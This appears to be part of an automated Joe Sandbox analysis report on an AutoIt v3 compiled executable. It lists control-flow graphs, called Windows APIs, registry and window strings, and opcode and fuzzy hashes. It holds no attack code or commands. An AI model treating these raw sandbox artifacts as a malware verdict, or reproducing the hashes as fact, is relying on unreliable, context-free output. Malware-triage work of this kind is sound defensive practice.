7ff69db51f3c-7ff69db51f80 GetCurrentProcess IsWow64Process call 7ff69db56240 510->517 518 7ff69db994b5-7ff69db99501 510->518 514 7ff69db99686-7ff69db99692 511->514 513 7ff69db9965f-7ff69db99674 512->513 512->514 519 7ff69db9967f 513->519 520 7ff69db99676-7ff69db9967d 513->520 527 7ff69db9969d-7ff69db996b3 call 7ff69dba32f4 514->527 521 7ff69db99589-7ff69db99599 515->521 522 7ff69db9957b-7ff69db99584 515->522 523 7ff69db9959e-7ff69db995b3 516->523 524 7ff69db51f08-7ff69db51f0b 516->524 517->527 539 7ff69db51f86-7ff69db51f8b GetSystemInfo 517->539 518->517 526 7ff69db99507-7ff69db9950e 518->526 519->514 520->514 521->517 522->517 530 7ff69db995c3-7ff69db995d3 523->530 531 7ff69db995b5-7ff69db995be 523->531 528 7ff69db995ed-7ff69db995f0 524->528 529 7ff69db51f11-7ff69db51f2d 524->529 533 7ff69db99510-7ff69db99518 526->533 534 7ff69db99534-7ff69db9953c 526->534 550 7ff69db996b5-7ff69db996d5 call 7ff69dba32f4 527->550 551 7ff69db996d7-7ff69db996dc GetSystemInfo 527->551 528->517 538 7ff69db995f6-7ff69db99620 528->538 536 7ff69db51f33 529->536 537 7ff69db995d8-7ff69db995e8 529->537 530->517 531->517 540 7ff69db99526-7ff69db9952f 533->540 541 7ff69db9951a-7ff69db99521 533->541 542 7ff69db9953e-7ff69db99547 534->542 543 7ff69db9954c-7ff69db99554 534->543 536->517 537->517 547 7ff69db99630-7ff69db99640 538->547 548 7ff69db99622-7ff69db9962b 538->548 549 7ff69db51f91-7ff69db51fc0 539->549 540->517 541->517 542->517 544 7ff69db99564-7ff69db9956d 543->544 545 7ff69db99556-7ff69db9955f 543->545 544->517 545->517 547->517 548->517 553 7ff69db996e2-7ff69db996ea 550->553 551->553 553->549 555 7ff69db996f0-7ff69db996f7 FreeLibrary 553->555 555->549
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$CurrentInfoSystemVersionWow64
                                                            • String ID: |O
                                                            • API String ID: 1568231622-607156228
                                                            • Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                            • Instruction ID: 502368055246244e3a0e3f6b683eb4bb5665cb55992784b4caed0edbf8f0651a
                                                            • Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                            • Instruction Fuzzy Hash: 50D17095E1D2C2C5EA718B10E9001753BA8EF22788F90A0F6D6CDC2669FE6CF503D711
                                                            Function 00007FF69DBCF630 Relevance: 12.4, APIs: 8, Instructions: 350processCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 719 7ff69dbcf630-7ff69dbcf69e call 7ff69db56240 722 7ff69dbcf6d4-7ff69dbcf6d9 719->722 723 7ff69dbcf6a0-7ff69dbcf6b8 call 7ff69db3ffbc 719->723 725 7ff69dbcf71e-7ff69dbcf723 722->725 726 7ff69dbcf6db-7ff69dbcf6ef call 7ff69db3ffbc 722->726 732 7ff69dbcf6ba-7ff69dbcf6d2 call 7ff69db3ffbc 723->732 733 7ff69dbcf708-7ff69dbcf70d 723->733 727 7ff69dbcf725-7ff69dbcf729 725->727 728 7ff69dbcf736-7ff69dbcf75c call 7ff69db3d4cc call 7ff69db3e330 725->728 741 7ff69dbcf6f3-7ff69dbcf706 call 7ff69db3ffbc 726->741 731 7ff69dbcf72d-7ff69dbcf732 call 7ff69db3ffbc 727->731 748 7ff69dbcf762-7ff69dbcf7cf call 7ff69db3d4cc call 7ff69db3e330 call 7ff69db3d4cc call 7ff69db3e330 call 7ff69db3d4cc call 7ff69db3e330 728->748 749 7ff69dbcf840-7ff69dbcf84a 728->749 731->728 732->741 736 7ff69dbcf70f-7ff69dbcf717 733->736 737 7ff69dbcf719-7ff69dbcf71c 733->737 736->731 737->725 737->728 741->725 741->733 799 7ff69dbcf7d1-7ff69dbcf7f3 call 7ff69db3d4cc call 7ff69db3e330 748->799 800 7ff69dbcf806-7ff69dbcf83e GetSystemDirectoryW call 7ff69db54c68 GetSystemDirectoryW 748->800 750 7ff69dbcf84c-7ff69dbcf86e call 7ff69db3d4cc call 7ff69db3e330 749->750 751 7ff69dbcf87d-7ff69dbcf8af GetCurrentDirectoryW call 7ff69db54c68 GetCurrentDirectoryW 749->751 750->751 769 7ff69dbcf870-7ff69dbcf87b call 7ff69db58d58 750->769 759 7ff69dbcf8b5-7ff69dbcf8b8 751->759 762 7ff69dbcf8f0-7ff69dbcf8ff call 7ff69dbaf464 759->762 763 7ff69dbcf8ba-7ff69dbcf8eb call 7ff69db4f688 * 3 759->763 776 7ff69dbcf905-7ff69dbcf95d call 7ff69dbafddc call 7ff69dbafca8 call 7ff69dbafafc 762->776 777 7ff69dbcf901-7ff69dbcf903 762->777 763->762 769->751 769->762 781 7ff69dbcf964-7ff69dbcf96c 776->781 806 7ff69dbcf95f 776->806 777->781 783 7ff69dbcf972-7ff69dbcfa0d call 7ff69db9d1f8 call 7ff69db58d58 * 3 call 7ff69db54c24 * 3 781->783 784 7ff69dbcfa0f-7ff69dbcfa4b CreateProcessW 781->784 788 7ff69dbcfa4f-7ff69dbcfa62 call 7ff69db54c24 * 2 783->788 784->788 811 7ff69dbcfa64-7ff69dbcfabc call 7ff69db34afc * 2 GetLastError call 7ff69db4f214 call 7ff69db413e0 788->811 812 7ff69dbcfabe-7ff69dbcfaca CloseHandle 788->812 799->800 825 7ff69dbcf7f5-7ff69dbcf800 call 7ff69db58d58 799->825 800->759 806->781 828 7ff69dbcfb3b-7ff69dbcfb65 call 7ff69dbaf51c 811->828 815 7ff69dbcfaf5-7ff69dbcfafc 812->815 816 7ff69dbcfacc-7ff69dbcfaf0 call 7ff69dbaf7dc call 7ff69dbb0088 call 7ff69dbcfb68 812->816 821 7ff69dbcfafe-7ff69dbcfb0a 815->821 822 7ff69dbcfb0c-7ff69dbcfb35 call 7ff69db413e0 CloseHandle 815->822 816->815 821->828 822->828 825->759 825->800
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
                                                            • String ID:
                                                            • API String ID: 1787492119-0
                                                            • Opcode ID: b5529a047433c39029aa94f7abef1aaae7ba2a451b0d80efb392d77c1937dd44
                                                            • Instruction ID: fd8001724072f62a6fecc20fc3ca125f6d81c9942ee8be3c991324e16a7d68fb
                                                            • Opcode Fuzzy Hash: b5529a047433c39029aa94f7abef1aaae7ba2a451b0d80efb392d77c1937dd44
                                                            • Instruction Fuzzy Hash: C4E18062B09B4186EB20DB36D5502BD67A0FB8AB94F0045B6EE8D8779DEF38E405C740
                                                            Function 00007FF69DBAC7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FileFind$AttributesCloseFirstlstrlen
                                                            • String ID:
                                                            • API String ID: 2695905019-0
                                                            • Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                            • Instruction ID: 1719e113849da7d0ad93dc22b3ccc7c3f1420709d20e9f9af3e60ad6963d51ca
                                                            • Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                            • Instruction Fuzzy Hash: 2EF05E90E0860281EA345B24B80833822E0FF52B75F5447B0D4BF8A2E8EF6C94984250
                                                            Function 00007FF69DB37920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178registryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
                                                            • String ID: Include$Software\AutoIt v3\AutoIt$\Include\
                                                            • API String ID: 2667193904-1575078665
                                                            • Opcode ID: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
                                                            • Instruction ID: bf3604b86f9de7072131d44c0960ba74e9e7d2cdbd50c9d9e5601a8e097d6bf3
                                                            • Opcode Fuzzy Hash: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
                                                            • Instruction Fuzzy Hash: 18915062A18A42D6EB30DF14E8401B9A374FF95794F8011B6E6CD83AA9FF7CE506D740
                                                            Function 00007FF69DB35DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143windowtimeregistryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 131 7ff69db35dec-7ff69db35e21 133 7ff69db35e91-7ff69db35e94 131->133 134 7ff69db35e23-7ff69db35e26 131->134 133->134 135 7ff69db35e96 133->135 136 7ff69db35e98 134->136 137 7ff69db35e28-7ff69db35e2f 134->137 138 7ff69db35e6b-7ff69db35e76 DefWindowProcW 135->138 139 7ff69db7c229-7ff69db7c261 call 7ff69db4ede4 call 7ff69db52c44 136->139 140 7ff69db35e9e-7ff69db35ea3 136->140 141 7ff69db35f21-7ff69db35f29 PostQuitMessage 137->141 142 7ff69db35e35-7ff69db35e3a 137->142 143 7ff69db35e7c-7ff69db35e90 138->143 178 7ff69db7c267-7ff69db7c26e 139->178 145 7ff69db35ecc-7ff69db35efa SetTimer RegisterWindowMessageW 140->145 146 7ff69db35ea5-7ff69db35ea8 140->146 144 7ff69db35ec8-7ff69db35eca 141->144 147 7ff69db35e40-7ff69db35e43 142->147 148 7ff69db7c2af-7ff69db7c2c5 call 7ff69dbaa40c 142->148 144->143 145->144 152 7ff69db35efc-7ff69db35f09 CreatePopupMenu 145->152 150 7ff69db7c1b8-7ff69db7c1bb 146->150 151 7ff69db35eae-7ff69db35ebe KillTimer call 7ff69db35d88 146->151 153 7ff69db35e49-7ff69db35e4e 147->153 154 7ff69db35f2b-7ff69db35f35 call 7ff69db54610 147->154 148->144 173 7ff69db7c2cb 148->173 158 7ff69db7c1bd-7ff69db7c1c0 150->158 159 7ff69db7c1f7-7ff69db7c224 MoveWindow 150->159 169 7ff69db35ec3 call 7ff69db37098 151->169 152->144 161 7ff69db7c292-7ff69db7c299 153->161 162 7ff69db35e54-7ff69db35e59 153->162 166 7ff69db35f3a 154->166 167 7ff69db7c1e4-7ff69db7c1f2 SetFocus 158->167 168 7ff69db7c1c2-7ff69db7c1c5 158->168 159->144 161->138 170 7ff69db7c29f-7ff69db7c2aa call 7ff69db9c54c 161->170 171 7ff69db35f0b-7ff69db35f1f call 7ff69db35f3c 162->171 172 7ff69db35e5f-7ff69db35e65 162->172 166->144 167->144 168->172 174 7ff69db7c1cb-7ff69db7c1df call 7ff69db4ede4 168->174 169->144 170->138 171->144 172->138 172->178 173->138 174->144 178->138 179 7ff69db7c274-7ff69db7c28d call 7ff69db35d88 call 7ff69db36258 178->179 179->138
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                            • String ID: TaskbarCreated
                                                            • API String ID: 129472671-2362178303
                                                            • Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                            • Instruction ID: e42799de685182db6a894f31447cc77e279e71bbe7a5775db4d81b10903dcfc9
                                                            • Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                            • Instruction Fuzzy Hash: 1F519FB1D0D65782F630DB24E944278A2A4EF67B84F8414F6D5CDC36A9FE6CF546A300
                                                            Function 00007FF69DB33D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57windowregistryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                            • String ID: AutoIt v3 GUI$TaskbarCreated
                                                            • API String ID: 2914291525-2659433951
                                                            • Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                            • Instruction ID: 42514c773b9c604296b8ce1475a42297953bde63ed2f32fb5f097338ee14bc2b
                                                            • Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                            • Instruction Fuzzy Hash: 76312772A04B01CAE720CF60E8443A937B8FB55758F5041B9CA9D97B68EF7CD15ACB80
                                                            Function 00007FF69DB4E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304comCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 189 7ff69db4e958-7ff69db4e9ae 190 7ff69db927e4-7ff69db927ea DestroyWindow 189->190 191 7ff69db4e9b4-7ff69db4e9d3 mciSendStringW 189->191 196 7ff69db927f0-7ff69db92801 190->196 192 7ff69db4ecbd-7ff69db4ecce 191->192 193 7ff69db4e9d9-7ff69db4e9e3 191->193 194 7ff69db4ecf7-7ff69db4ed01 192->194 195 7ff69db4ecd0-7ff69db4ecf0 UnregisterHotKey 192->195 193->196 197 7ff69db4e9e9 193->197 194->193 201 7ff69db4ed07 194->201 195->194 200 7ff69db4ecf2 call 7ff69db4f270 195->200 198 7ff69db92803-7ff69db92806 196->198 199 7ff69db92835-7ff69db9283f 196->199 202 7ff69db4e9f0-7ff69db4e9f3 197->202 203 7ff69db92813-7ff69db92817 FindClose 198->203 204 7ff69db92808-7ff69db92811 call 7ff69db38314 198->204 199->196 206 7ff69db92841 199->206 200->194 201->192 207 7ff69db4e9f9-7ff69db4ea08 call 7ff69db33aa8 202->207 208 7ff69db4ecb0-7ff69db4ecb8 call 7ff69db35410 202->208 211 7ff69db9281d-7ff69db9282e 203->211 204->211 216 7ff69db92846-7ff69db9284f call 7ff69dbc8c00 206->216 218 7ff69db4ea0f-7ff69db4ea12 207->218 208->202 211->199 215 7ff69db92830 call 7ff69dbb3180 211->215 215->199 216->218 218->216 221 7ff69db4ea18 218->221 223 7ff69db4ea1f-7ff69db4ea22 221->223 224 7ff69db92854-7ff69db9285d call 7ff69dba46cc 223->224 225 7ff69db4ea28-7ff69db4ea32 223->225 224->223 226 7ff69db92862-7ff69db92873 225->226 227 7ff69db4ea38-7ff69db4ea42 225->227 230 7ff69db92875 FreeLibrary 226->230 231 7ff69db9287b-7ff69db92885 226->231 232 7ff69db4ea48-7ff69db4ea76 call 7ff69db413e0 227->232 233 7ff69db9288c-7ff69db9289d 227->233 230->231 231->226 234 7ff69db92887 231->234 242 7ff69db4ea78 232->242 243 7ff69db4eabf-7ff69db4eacc OleUninitialize 232->243 235 7ff69db9289f-7ff69db928c2 VirtualFree 233->235 236 7ff69db928c9-7ff69db928d3 233->236 234->233 235->236 238 7ff69db928c4 call 7ff69dbb321c 235->238 236->233 240 7ff69db928d5 236->240 238->236 245 7ff69db928da-7ff69db928de 240->245 246 7ff69db4ea7d-7ff69db4eabd call 7ff69db4f1c4 call 7ff69db4f13c 242->246 244 7ff69db4ead2-7ff69db4ead9 243->244 243->245 247 7ff69db928f4-7ff69db92903 call 7ff69dbb31d4 244->247 248 7ff69db4eadf-7ff69db4eaea 244->248 245->244 250 7ff69db928e4-7ff69db928ef 245->250 246->243 260 7ff69db92905 247->260 252 7ff69db4ed09-7ff69db4ed18 call 7ff69db542a0 248->252 253 7ff69db4eaf0-7ff69db4eb22 call 7ff69db3a07c call 7ff69db4f08c call 7ff69db339bc 248->253 250->244 252->253 265 7ff69db4ed1e 252->265 273 7ff69db4eb24-7ff69db4eb29 call 7ff69db54c24 253->273 274 7ff69db4eb2e-7ff69db4ebc4 call 7ff69db339bc call 7ff69db3a07c call 7ff69db345c8 * 2 call 7ff69db3a07c * 3 call 7ff69db413e0 call 7ff69db4ee68 call 7ff69db4ee2c * 3 253->274 266 7ff69db9290a-7ff69db92919 call 7ff69dba3a78 260->266 265->252 272 7ff69db9291b 266->272 277 7ff69db92920-7ff69db9292f call 7ff69db4e4e4 272->277 273->274 274->266 316 7ff69db4ebca-7ff69db4ebdc call 7ff69db339bc 274->316 284 7ff69db92931 277->284 286 7ff69db92936-7ff69db92945 call 7ff69dbb3078 284->286 292 7ff69db92947 286->292 295 7ff69db9294c-7ff69db9295b call 7ff69dbb31a8 292->295 301 7ff69db9295d 295->301 304 7ff69db92962-7ff69db92971 call 7ff69dbb31a8 301->304 311 7ff69db92973 304->311 311->311 316->277 319 7ff69db4ebe2-7ff69db4ebec 316->319 319->286 320 7ff69db4ebf2-7ff69db4ec08 call 7ff69db3a07c 319->320 323 7ff69db4ec0e-7ff69db4ec18 320->323 324 7ff69db4ed20-7ff69db4ed25 call 7ff69db54c24 320->324 326 7ff69db4ec8a-7ff69db4eca9 call 7ff69db3a07c call 7ff69db54c24 323->326 327 7ff69db4ec1a-7ff69db4ec24 323->327 324->190 338 7ff69db4ecab 326->338 327->295 330 7ff69db4ec2a-7ff69db4ec3b 327->330 330->304 332 7ff69db4ec41-7ff69db4ed71 call 7ff69db3a07c * 3 call 7ff69db4ee10 call 7ff69db4ed8c 330->332 347 7ff69db4ed77-7ff69db4ed88 332->347 348 7ff69db92978-7ff69db92987 call 7ff69dbbd794 332->348 338->327 351 7ff69db92989 348->351 351->351
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: DestroySendStringUninitializeUnregisterWindow
                                                            • String ID: close all
                                                            • API String ID: 1992507300-3243417748
                                                            • Opcode ID: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
                                                            • Instruction ID: 583ebb90ea565ec5512dc256999c24c5a6f90e4797110a39cf13a1d5a78bbb2b
                                                            • Opcode Fuzzy Hash: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
                                                            • Instruction Fuzzy Hash: 9FE142A5B0AA4281EE78DF16C59027C2360FF96B44F5440B5DB8ED7299EF3CE862C740
                                                            Function 00007FF69DB33B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60windowregistryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                            • String ID: AutoIt v3
                                                            • API String ID: 423443420-1704141276
                                                            • Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                            • Instruction ID: faa727b330c169422208d7548c0dd888b5045deb5517221f26f8667a622f244f
                                                            • Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                            • Instruction Fuzzy Hash: 02311836A08B02CAE760CB51E9443A933B8FB44758F4445BACACD97B18EF7CE1569790
                                                            Function 00007FF69DB77348 Relevance: 13.8, APIs: 9, Instructions: 272fileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 419 7ff69db77348-7ff69db773ba call 7ff69db77078 422 7ff69db773bc-7ff69db773c4 call 7ff69db655b4 419->422 423 7ff69db773d3-7ff69db773dd call 7ff69db6e418 419->423 430 7ff69db773c7-7ff69db773ce call 7ff69db655d4 422->430 428 7ff69db773f7-7ff69db77463 CreateFileW 423->428 429 7ff69db773df-7ff69db773f5 call 7ff69db655b4 call 7ff69db655d4 423->429 432 7ff69db774eb-7ff69db774f6 GetFileType 428->432 433 7ff69db77469-7ff69db77470 428->433 429->430 446 7ff69db7771a-7ff69db77736 430->446 439 7ff69db774f8-7ff69db77533 GetLastError call 7ff69db65564 CloseHandle 432->439 440 7ff69db77549-7ff69db7754f 432->440 436 7ff69db774b8-7ff69db774e6 GetLastError call 7ff69db65564 433->436 437 7ff69db77472-7ff69db77476 433->437 436->430 437->436 444 7ff69db77478-7ff69db774b6 CreateFileW 437->444 439->430 453 7ff69db77539-7ff69db77544 call 7ff69db655d4 439->453 442 7ff69db77556-7ff69db77559 440->442 443 7ff69db77551-7ff69db77554 440->443 450 7ff69db7755e-7ff69db775ac call 7ff69db6e334 442->450 451 7ff69db7755b 442->451 443->450 444->432 444->436 458 7ff69db775c0-7ff69db775ea call 7ff69db76de4 450->458 459 7ff69db775ae-7ff69db775ba call 7ff69db77284 450->459 451->450 453->430 464 7ff69db775ec 458->464 465 7ff69db775fe-7ff69db77643 458->465 466 7ff69db775bc 459->466 467 7ff69db775ef-7ff69db775f9 call 7ff69db704b8 459->467 464->467 469 7ff69db77665-7ff69db77671 465->469 470 7ff69db77645-7ff69db77649 465->470 466->458 467->446 473 7ff69db77718 469->473 474 7ff69db77677-7ff69db7767b 469->474 470->469 472 7ff69db7764b-7ff69db77660 470->472 472->469 473->446 474->473 475 7ff69db77681-7ff69db776c9 CloseHandle CreateFileW 474->475 476 7ff69db776cb-7ff69db776f9 GetLastError call 7ff69db65564 call 7ff69db6e548 475->476 477 7ff69db776fe-7ff69db77713 475->477 476->477 477->473
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                            • String ID:
                                                            • API String ID: 1617910340-0
                                                            • Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
                                                            • Instruction ID: c7d76894c3f591f8495b8789e77165086efbbcefde403959c58ba15002bc0e94
                                                            • Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
